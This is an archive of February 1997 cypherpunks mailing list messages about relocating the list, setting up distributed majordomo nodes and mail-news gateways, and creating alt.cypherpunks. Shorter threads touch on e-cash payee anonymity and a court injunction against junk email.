When one of the nodes in the distributed cpunks2news gateway gets a submission,
it should xmit it to the other known gateways and post it to Usenet. Also it
should grab postings from the Usenet newsgroup and forward them to its mailing
list. However in addition to the unedited mailing list, some gateways can
choose to offer a filtered list controlled by one or more nocem issuers:
i.e. one might be able to subscribe to cypherpunked-filtered-by-either-
ray-or-sandy and receive articles only when the gateway receives a
nocem from one of the two listing their message-ids. (Better yet, one
might specify in the subscription which filterers to use.)
I don't think this is a very hard thing to hack up.

Sorry for the typoes: now Imust run, but I'd beinterested in the feedback on
these thoghts.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Wed, 12 Feb 1997 13:42:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks@Cyberpass.net New List
Message-ID: <199702122142.NAA06038@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I am gratified to see that several people have stepped forward to offer
their services to host this list. I have been contacted by various list
members to host the list here at Infonex. I think there are several reasons
I was approached to do this.

As a long time remailer operator I am used to taking heat for the services
I offer, and dealing with attacks on the services I run. As the owner and
President of Infonex, the list is in no danger of being pulled by the
administration of this site. As the author of Mixmaster I am reasonably
well known (and I hope respected) member of the list. I have been
completely uninvolved in the politics which have plagued the list of late.

I personally favor the multi-node list model, where no one site can censor
the list, the loss of any one node is not catastrophic, and the load on any
one machine is not excessive. Unfortunately I don't think it will be up and
functional in time for the transition. I have already set up the list on my
majordomo server and subscribers are welcome now. The list address is
cypherpunks@Cyberpass.net and the subscription address is
majordomo@Cyberpass.net. The list on my server is subscribed to the
unedited version of the current cypherpunks list. Once the multi-node list
system is perfected I will integrate this list with the other nodes.

Having dealt with the abuse heaped on remailer operators, I think I have an
inkling of what John Gilmore has withstood for years. He has agreed to
forward his list to mine (and possibly others) for a while after the 20th.

It is my opinion that the primary Cypherpunks list should be completely
uncensored and unfiltered. An ecology of filtered lists has developed in
exactly the way many predicted they should. For the record I regularly read
only a filtered version of the list, and subscribe to the full list only to
be able to read referenced articles which were filtered.

	-Lance Cottrell

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----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/ 

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Wed, 12 Feb 1997 13:41:48 -0800 (PST)
To: Dale Thorn <paul@fatmans.demon.co.uk>
Subject: Re: New group
Message-ID: <199702122141.NAA06010@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I have alt.cypherpunks on my server (all 1 message). I would be happy to
feed that group (and alt.anonymous.messages) to any news server that asks.

	-Lance

At 6:38 AM -0800 2/12/97, Dale Thorn wrote:
>Paul Bradley wrote:
>> Well despite the obvious problems of propogation I thought it was time
>> someone actually did something to get us a new home, even if it`s only
>> temporary. So I have created alt.cypherpunks... See you all over on
>> usenet!...
>
>I pressed the URL alt.cypherpunks and my Netscape server said
>"no such thing" or words to that effect.


----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Wed, 12 Feb 1997 13:41:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: anonymity and e-cash
Message-ID: <199702122141.NAA05987@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The NSA's research report on e-cash says:

	"The ideal situation (from the point of view of privacy advocates)
is that neither payer nor payee should know the identity of the other. This
makes remote transactions using electronic cash totally anonymous:  no one
knows where Alice spends her money and who pays her.

	"It turns out that this is too much to ask: there is no way in such
a scenario for the consumer to obtain a signed receipt.  Thus we are forced
to settle for payer anonymity."

Keeping in mind I am only a lawyer, my skim of Schneier (2d ed.) didn't
illuminate.  The discussion of digital cash seemed to assume no payee
anonymity.  But the immediate previous section of dining cryptographers
involved (it seemed) recipient untraceability.

Is payee anonymity technically possible?  Under what conditions?

If so, is the issue social, e.g., as NSA notes, the lack of a signed receipt?

Thanks,
Lee







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 12 Feb 1997 13:42:14 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Is "alt.cypherpunks" the best choice?
Message-ID: <199702122142.NAA06041@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


At 2:49 PM -0600 2/12/97, Igor Chudov @ home wrote:

>It is too late to stop alt.cypherpunks, but if I had to make a
>prediction again, I would predict that soon posters will BEG to help
>them create comp.*.cypherpunks, because of spam and alt.flamage.

Perhaps some will, but I've been a reader of many alt groups for many
years, and have not found them to be unusable. Alt.religion.scientology,
for example, has been a robust forum for discussion (and argument, of
course!) about Scientology.

My fear about using a "well respected" name is that the usual calls for
moderation may end up with it being moderated! And the well respected
domains are often plagued with threats by various participants that
_others_ are being "off topic," with threats to send letters to sysadmins
advising them that one of their users is debating an off-topic subject.

I have a fair amount of respect for Igor, so my comments here should not be
taken the wrong way. To wit, I recall that shortly after the "moderation"
thing began on Cypherpunks@toad.com, Igor called for Sandy to start
blocking "libertarian rants" and "crypto anarchy" discussions, apparently
feeling these are not proper Cypherpunks topics. It could be that a
"sci.crypt.cypherpunks" group, for example, would result in pressures on
sysadmins to discipline those who post "off topic" things.

(Again, I'm not saying Igor himself would do this. But there would be a
temptation for some to do so.)

For me, I can easily scan even a high volume group like
alt.religion.scientology for threads of interest (I use "NewsWatcher YA," a
good Mac-based threaded newsreader, with even support for anonymous
remailers built in). If I can read a.r.s., I can read a.cp without any
trouble.

It works for me.

--Tim May

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 12 Feb 1997 12:56:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: whois cypherpunks.org ?
Message-ID: <199702122056.MAA04550@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On the Ft. Meade addresses for two of the cpunk domains, was there
not a humorous explanation for this posted a couple of years back? 

Dimly remembered: there's a town of Ft. Meade as well as The Mad Fort
itself, or something like that, and that a mail drop would be handy for
swapping useless bits of bs-buffer overflow.

If this is now classified, hit D, Degausse and deodorize your Farradage!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 15:15:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: List-Managers list info
Message-ID: <199702122315.PAA08421@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"Majordomo@GreatCircle.COM"  4-AUG-1996 00:00:26.72
To:	IN%"EALLENSMITH@mbcl.rutgers.edu"
CC:	
Subj:	Welcome to list-managers

Welcome to the list-managers mailing list!

Please save this message for future reference.  Thank you.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 12:56:45 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702122056.MAA04561@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"shamrock@netcom.com"  "Lucky Green" 12-FEB-1997 04:22:39.31

>Everybody with a web browser has access to alt newsgroups via
>http://www.dejanews.com/

	A: not all alt newsgroups
	B: not in an anonymous fashion (the anonymizer blocks from
		requesting files from dejanews)
	As someone not currently on USENET, I'd request that _somebody_
put up a bi-directional gateway; I'll put in a request to
list-managers@greatcircle.com for advice & suggestions, and will
suggest that it get cc'd to cypherpunks@toad.com.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 12:57:07 -0800 (PST)
To: list-managers@greatcircle.com
Subject: Need a good bi-directional mail-news gateway
Message-ID: <199702122057.MAA04596@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	Hi. The cypherpunks list is going through some major rearrangements,
and it appears that we need a bi-directional mail-news gateway for the new
group alt.cypherpunks and for whatever list(s) come out of the clouds of dust.
(The list(s) in question may be done in a distributed fashion across many
different machines, to lessen volume (1000+ subscribers, 100+ messages a day),
crash vulnerablity, and other problems.) Anybody have experience in running
a _really_ high-volume mail-news gateway (or in running distributed lists)?
Please cc: any replies to cypherpunks@toad.com.
	Thanks,
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Wed, 12 Feb 1997 12:57:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702122057.MAA04643@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Wed, 12 Feb 1997 14:22 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>

> 	Umm... because you'll eventually accumulate _lots_ of addresses
> that don't work, which will slow things down tremendously in sending
> mail out?

The current subscription is between 1,000 and 2,000 I don't think that is
_lots_. All we need to do is count the number of bounces per address in
a given period, the SSZ end is trying to decide between weekly or
monthly cleanings, and then clear that address. At no point would I need
to archive the original bounce.

> >I can verify this. If I was not already having to deal with these problem
> >as a current mailing list operator I certainly would not take on the
> >job. It is one of the reasons I STRONGLY suggest anyone serious about this
> >should use the resources to make money as well. Anyone capable of setting up
> >and operating such a remailer system is at least capable of basic skills.
> 
> 	Well, loki@cyberpass.net has made the offer to host the entire
> list... and Lance is certainly making money at it. While this would have
> some problems in comparison with the distributed list idea (namely more of
> a choke point), it would decidedly help.

I certainly hope they get a cpunks address made available. I will certainly
subscribe cpunks@ssz so that the distributed remailer will benefit from 
that input. However, one of the major realizations is that as long as one
anything is involved in the list it is capable of being shutdown at any
time with no warning. It also makes it much easier to compromise. I would
like to see servers in several countries myself.

> >Is anyone interested in acting as a mail-to-news gateway?

Want to volunteer?


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 13:25:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: List for discussing many majordomos (fwd)
Message-ID: <199702122125.NAA05544@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 11 Feb 1997 22:46:03 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: List for discussing many majordomos

> Yes, this is a good idea. One of the proponents of the "many majordomos"
> project apparently has plans to impose his own ideas about intellectual
> property on the project, and this seems like a pretty serious thing for a
> setup that's allegedly going to prevent censorship. We need a place to
> discuss this.

Please explain how making submissions de facto public domain censors
anyone?


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 12:59:01 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Cypherpunks Distributed Remailer
Message-ID: <199702122059.MAA04673@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 12-FEB-1997 11:59:08.20

>> Date: Tue, 11 Feb 1997 19:18:46 -0600 (CST)
>> From: ichudov@algebra.com
>> Subject: Re: Moderation experiment almost over; "put up or shut up"

>> John Gilmore wrote:
>> > A pentium is definitely up to this task.  I've been running it the
>> > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
>> > general computing).  Give it a big /var/spool partition (mine is 60MB)
>> > because every message will sit in the queue for days (*somebody* on
>> > the list will have an unreachable name server or MX server until the
>> > msg times out).  Give it lots of RAM and paging space, since each
>> > sendmail process takes about 2MB virtual, 1.4MB physical, and you will
>> > have dozens running at the same time.

>My approach to this problem has been to use a 1G drive and mount the entire
>file system on it. Swap and MS-Dos each get their own partitions. This
>allows the use of the entire drive as a buffer. I am in the process of
>adding another 1G in approx. two weeks with the intent of moving /home off
>the main drive. This not only gives the system more space but the users as
>well. I set swap to 4x main ram. I use Linux and have it as one giant
>partition even though suggested is blocks of 16M, works for me (YMMV). Would
>be minor to monitor df and alarm when it gets to 200M or something.

>I must admit however that I am looking at a faster mbrd. and a bigger hard
>drive in the immediate future to make up for the extra load I expect. Had
>not really planned on the remailer project however...

>> > You'll need a BIG mailbox for the bounce messages, and someone (or
>> > some unwritten software) to scan it every day or two and delete the
>> > lusers whose mailboxes are full or who dumped their account without
>> > unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
>> > email a day; more when the list is under attack.

>How about dumping the bounces to /dev/null? I shure don't care if some
>bozo's (other than mine that is) mailbox goes away.

	Umm... because you'll eventually accumulate _lots_ of addresses
that don't work, which will slow things down tremendously in sending
mail out?

>> > The real issue is how willing you are to put your own time into
>> > dealing with problems.  Not only do things go wrong by themselves, but
>> > there are malicious assholes in the world who will deliberately make
>> > trouble for you just because they like to.  Spending a day or two
>> > cleaning up the mess is just part of the job.  Check your level of
>> > committment two or three times before taking on the task -- so you
>> > won't end up getting disgusted after a month or two and putting the
>> > list's existence into crisis again.  It's not a "set it up and forget
>> > it" kind of operation.

>I can verify this. If I was not already having to deal with these problem
>as a current mailing list operator I certainly would not take on the
>job. It is one of the reasons I STRONGLY suggest anyone serious about this
>should use the resources to make money as well. Anyone capable of setting up
>and operating such a remailer system is at least capable of basic skills.

	Well, loki@cyberpass.net has made the offer to host the entire
list... and Lance is certainly making money at it. While this would have
some problems in comparison with the distributed list idea (namely more of
a choke point), it would decidedly help.

>> Another suggestion may be to set sendmail expire option to one day
>> instead of five so that messages that cannot be delivered would bounce
>> faster and not clog the queue.

>I like this idea very much. Myself I would set it for like 4 hours or so and
>if it couldn't be delivered then bye bye. Another motivation for selective
>sites to operate as archives without themselves being remailers.

>Another issue related to this is at what point to unsubscribe accounts. It
>seems to me that if the address times out some number of times it should be
>deleted.

>Is anyone interested in acting as a mail-to-news gateway?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 12 Feb 1997 15:13:29 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702122313.PAA08357@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:17 AM 2/12/97 -0600, Jim Choate wrote:
[quoting me]
>> Usenet technology does exactly what you're describing: it's a distributed
>> database of messages designed to facilitate each server getting its own
copy
>> of every message, and holding it locally for distribution to interested
>> readers. Other people have been kind enough to write, debug, and document
the
>> software - all you have to do is install it. This could be running
tonight. 
>
>Did you get it running last nite Greg? When do you expect to be able to
>handle traffic?

Yes, I installed INN and ran a few hundred test messages through it last
night. My machine will be on the net full-time Thursday or Friday. Will yours
be ready then, too? 

If you need some help setting it up, let me know. It can be a little tricky
if you haven't done it before. 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMwJE/f37pMWUJFlhAQH/9Af9E9FqR2oQXmL77j6wVnoD1Szh4FH3a8X+
Kc9GILJO0b6PpjNh2qEG2xTs2XYW6GgKmnQVqyA92otB8LtZND46LAuef5IQgbgD
BxYPiUp5rgrhwpx1ArFqT6GfQQKIjFHNpSqyximWSv+TmoK/ptx/uhA7jP+VmOKy
5mbYhXZbbH/GXKa5W+pZzjHu6XEXMl9L4jiMdgWZAmkkn2OTpkUFu9N/FosoiQw+
tK33WqQtNX5N/gqvO5sOZYEgOlmJMzM+f5sqtbGnokc3FxZQxwRbshmJ5xRPkOtU
rcLzL7/jzP03nQfGLHj4iFzUgPO+rYQ/ur5VxSuR/svZvm+XIxuqOg==
=jxJb
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 13:42:08 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702122142.NAA06036@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> "Timothy C. May" <tcmay@got.net> writes:
> > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
> > >If the people decide for creation of a new USENET newsgroup,
> > >we need to think very hard about actually moving it to a different
> > >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> > >comp.cypherpunks, sci.crypt.cypherpunks or something like that.
> > >
> > >A comp.* or sci.* newsgroup, if created, has the following advantages
> > >over an alt.* newsgroup:
> > >
> > >1) There is usually less spam in sci.* or comp.*
> > >2) There are virtually no completely irrelevant flamewars
> > >3) The propagation will be a lot better
> > >4) More people will be able to read it because of the issue of providers
> > >   not carrying alt.*.
> > >
> > >I see nothing that would make a sci.* or comp.* newsgroup  worse than
> > >alt.* newsgroup.
> > 
> > Sure, and this has come up in every past discussion of creating
> > "alt.cypherpunks."
> > 
> > But the creation of alt.cypherpunks is _easy_, and needs little permission
> > or support, whereas the creation of "soc.culture.cypherpunks" or whatever
> > takes work, requires a vote, blah blah blah. And so it never gets off the
> > ground.
> > 
> > (Nor is it clear to me, and perhaps not to others, that it belongs in the
> > the various places Igor mentioned. Comp.org.cypherpunks probably is the
> > best fit, but then many would cite the "comp" part to try to insist that
> > only _computer_ topics be discussed. Likewise, the "soc" domain would skew
> > discussion...etc. "Alt" has the nice advantage of explicitly not be part of
> > sci, or comp, or soc, or even talk.)
> > 
> (I apologize to everyone whose e-mail has gone unanswered this week - I've
> had a bunch of other stuff to do, but I'll get to it eventually. Also, 
> I posted
> the Anshel+Goldfield zeta function paten number - do check it out.)
> 
> Random thoughts:
> 
> 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of
> corprate news servers that don't carry alt.* (or even soc.*). Note that
> soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-)
> Another possibility is sci.crypto.cypherpunks. (True, people whose corporate
> newsservers don't carry soc.* and talk.* can use dejanews - provided their
> firewall lets them.)

> 2. It takes more work to create a comp.* newsgroup than an alt newsgroup.
> It takes a vote. I'm willing to be one of the proponents and generally help
> with the process. (Both I and Igor have been co-proponents of major Usenet
> newsgroups - don't know about other people onthis list. :-)

Not only it takes a vote. What is more important is what a vote gives: 
a good discussion of the newsgroup and the formal RFD/RFD/CFV process
ensures that, on average, a good balance is found between various groups
of readers.

I am not concerned as to what the name of the group will be, it is
not important. What is important is that it should be in a more or
less flame-free zone.

It is too late to stop alt.cypherpunks, but if I had to make a
prediction again, I would predict that soon posters will BEG to help
them create comp.*.cypherpunks, because of spam and alt.flamage.

> 3. An unmoderated Usenet newsgroup would have even ore crap than this mailing
> list. I've been thinking of how to deal with crap, and with the obvious desire
> by some people to delegate their decision what to read and what not to read
> to other people. 

It is alt.* and soc.* that has most crap, sci and comp are way better.

> Most people don't have nocem-enabled newareaders yet... Which is where the
> network of cypherpunks majordomos Igor's been busy creating comes in very
> handy. 
> 

It is a very good idea to let NoCeM issuers and filterers work 
independently from list nodes.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 13:41:10 -0800 (PST)
To: "Jonathan M. Bresler" <jmb@frb.gov>
Subject: Re: Need a good bi-directional mail-news gateway
Message-ID: <199702122141.NAA05967@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jonathan M. Bresler wrote:
> 	your expected mail volume is 100,000+ messages a day?
> 
> 	i run lists that do 200,000+ routinely.
> 	recent peak of 350,000 messages
> 
> 	does that meet your needs?

Yes. This is great. You can join a discussion of people who will
help hosting the cypherpunks list at cypherpunks-hosts@algebra.com.
Subscribe by asking majordomo@algebra.com

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 12 Feb 1997 15:13:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks created
Message-ID: <199702122313.PAA08388@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



According to DejaNews, Mike Duvos has also issued a newgroup for
alt.cypherpunks:

>Subject:      cmsg newgroup alt.cypherpunks
>From:         mpd@netcom.com (Mike Duvos)
>Date:         1997/02/11
>Message-Id:   <mpdE5GMA8.ABH@netcom.com>
>Sender:       mpd@netcom12.netcom.com
>Control:      newgroup alt.cypherpunks
>Organization: Netcom On-Line Services
>Newsgroups:   alt.cypherpunks
>
>
>
>alt.cypherpunks is an unmoderated newsgroup, needed as a replacement
>for the high volume Cypherpunks mailing list, which is being evicted
>from its longtime home at toad.com due to creative differences with
>the site owner, John Gilmore. 
>
>For your newsgroups file:
>
>alt.cypherpunks  Technological defenses for privacy
>
>Some background on Cypherpunks, snipped from the mailing list welcome
>message, follows...
>
>Cypherpunks assume privacy is a good thing and wish there were more of it. 
>Cypherpunks acknowledge that those who want privacy must create it for
>themselves and not expect governments, corporations, or other large,
>faceless organizations to grant them privacy out of beneficence. 
>Cypherpunks know that people have been creating their own privacy for
>centuries with whispers, envelopes, closed doors, and couriers. 
>Cypherpunks do not seek to prevent other people from speaking about their
>experiences or their opinions. 
>
>The most important means to the defense of privacy is encryption. To
>encrypt is to indicate the desire for privacy.  But to encrypt with weak
>cryptography is to indicate not too much desire for privacy. Cypherpunks
>hope that all people desiring privacy will learn how best to defend it. 
>
>Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish to
>learn about it, to teach it, to implement it, and to make more of it. 
>Cypherpunks know that cryptographic protocols make social structures. 
>Cypherpunks know how to attack a system and how to defend it.  Cypherpunks
>know just how hard it is to make good cryptosystems. 
>
>Cypherpunks love to practice.  They love to play with public key
>cryptography.  They love to play with anonymous and pseudonymous mail
>forwarding and delivery.  They love to play with DC-nets.  They love to
>play with secure communications of all kinds. 
>
>Cypherpunks write code.  They know that someone has to write code to
>defend privacy, and since it's their privacy, they're going to write it. 
>Cypherpunks publish their code so that their fellow cypherpunks may
>practice and play with it.  Cypherpunks realize that security is not built
>in a day and are patient with incremental progress. 
>
>Cypherpunks don't care if you don't like the software they write. 
>Cypherpunks know that software can't be destroyed.  Cypherpunks know that
>a widely dispersed system can't be shut down. 
>
>Cypherpunks will make the networks safe for privacy. 
>
>-- 
>     Mike Duvos         $    PGP 2.6 Public Key available     $
>     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jonathan M. Bresler" <jmb@frb.gov>
Date: Wed, 12 Feb 1997 12:57:03 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Need a good bi-directional mail-news gateway
Message-ID: <199702122057.MAA04595@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>	Hi. The cypherpunks list is going through some major rearrangements,
>and it appears that we need a bi-directional mail-news gateway for the new
>group alt.cypherpunks and for whatever list(s) come out of the clouds of dust.
>(The list(s) in question may be done in a distributed fashion across many
>different machines, to lessen volume (1000+ subscribers, 100+ messages a day),
>crash vulnerablity, and other problems.) Anybody have experience in running
>a _really_ high-volume mail-news gateway (or in running distributed lists)?
>Please cc: any replies to cypherpunks@toad.com
>	Thanks,
>	-Allen

	your expected mail volume is 100,000+ messages a day?

	i run lists that do 200,000+ routinely.
	recent peak of 350,000 messages

	does that meet your needs?

jmb






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 16:11:28 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702130011.QAA09573@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 6:21 PM +0000 2/12/97, Attila T. Hun wrote:
>    maybe relief is in sight; can we spell excedrin?
>
>on or about 970211:1433 educom@elanor.oit.unc.edu said:
>
>+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL
>
>+A U.S. district court in Ohio has granted CompuServe's request for a
>+preliminary injunction barring Cyber Promotions Inc. from sending
>+unsolicited e-mail to its subscribers while the commercial provider
...

Were I a customer of CompuServe, I'd ask on what basis CompuServe was
intercepting e-mail to me. In fact, a CompuServe account holder has made
just this point: "I'll decide what's junk mail and what's not."

Having the court system involved in deciding what mail is valid and what is
not valid is not my idea of a free society.

Having said this, the flaw remains that "junk mail" is "free" to the
sender. This is a flaw in the ontology of e-mail, and needs to be fixed.
Digital postage is one approach.

I'm not holding my breath, but I sure don't want a "District Court" deciding.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 16:51:43 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: alt.cypherpunks created
Message-ID: <199702130051.QAA10758@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:06 PM -0800 2/12/97, Greg Broiles wrote:
>According to DejaNews, Mike Duvos has also issued a newgroup for
>alt.cypherpunks:

I've already posted two articles to it. I expect it to be the main place I
post my words, as it eliminates any possibility that some site admin will
"moderate" my essays.

(And few of my articles in the last several days have made it to the Main
list. They were not flames, but apparently failed Sandy's test of
relevance.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 12 Feb 1997 16:44:19 -0800 (PST)
To: tien@well.com
Subject: Re: anonymity and e-cash
Message-ID: <199702130044.QAA10501@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks, talk.politics.crypto,sci.crypt)



At 1:19 PM -0800 2/12/97, Lee Tien wrote (on the Cypherpunks@toad.com list):
>The NSA's research report on e-cash says:
>
>  "The ideal situation (from the point of view of privacy advocates)
>is that neither payer nor payee should know the identity of the other. This
>makes remote transactions using electronic cash totally anonymous:  no one
>knows where Alice spends her money and who pays her.
>
>  "It turns out that this is too much to ask: there is no way in such
>a scenario for the consumer to obtain a signed receipt.  Thus we are forced
>to settle for payer anonymity."
>
>Keeping in mind I am only a lawyer, my skim of Schneier (2d ed.) didn't
>illuminate.  The discussion of digital cash seemed to assume no payee
>anonymity.  But the immediate previous section of dining cryptographers
>involved (it seemed) recipient untraceability.
>
>Is payee anonymity technically possible?  Under what conditions?
>
>If so, is the issue social, e.g., as NSA notes, the lack of a signed receipt?

You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday
Cypherpunks meeting at Stanford, where Ian talked for more than an hour on
just this issue. (He also talked for an hour on his crack of the RSA
challenge using 250 workstations...this was also a good talk.)

It was explicitly stated in Chaum's 1985 paper that methods existed to
ensure full untraceability. Chaum has in recent years emphasized a more
"surveillance friendly" system in which some of the anonymity is lost. 

It was the intuition of some of us that "coin changers" could solve this
problem, e.g, by having intermediaries to "mix" the coins and thus break
the traceability chain. Lucky Green wrote some articles along these lines,
and maybe Hal Finney, too. This was a couple of years ago. The notion is
similar to what Ian showed, but our arguments were not formal and robust.

In August of '95, Doug Barnes released a long article on "Identity
Agnostic" systems. (His article is no longer at the www.communities.com Web
site, so I can't refer you to it. Maybe he'll post it again.)

About a year ago Ian Goldberg considered this issue and came up with a
solution which has seemingly reproduced what Chaum was thinking about (but,
apparently, did not make completely clear in his papers, for whatever
reasons). Ian deals with the issue of "making change" and comes up with a
system in which intermediaries, which we may call "e-cashiers" and
"moneychangers," can take on the role of the mint/bank. 

